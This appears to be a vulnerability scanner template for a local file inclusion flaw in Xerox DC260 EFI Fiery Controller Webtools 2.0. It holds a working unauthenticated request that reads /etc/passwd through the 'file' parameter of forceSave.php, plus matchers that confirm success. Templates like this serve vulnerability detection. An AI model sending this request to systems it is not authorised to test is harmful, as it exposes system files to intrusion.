id: xerox-efi-lfi

info:
  name: Xerox DC260 EFI Fiery Controller Webtools 2.0 - Local File Inclusion
  author: gy741
  severity: high
  description: Xerox DC260 EFI Fiery Controller Webtools 2.0 is vulnerable to local file inclusion because input passed thru the 'file' GET parameter in 'forceSave.php' script is not properly sanitized before being used to read files. This can be exploited by an unauthenticated attacker to read arbitrary files on the affected system.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5447.php
    - https://packetstormsecurity.com/files/145570
    - https://www.exploit-db.com/exploits/43398/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: iot,xerox,disclosure,lfi,packetstorm,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/wt3/forceSave.php?file=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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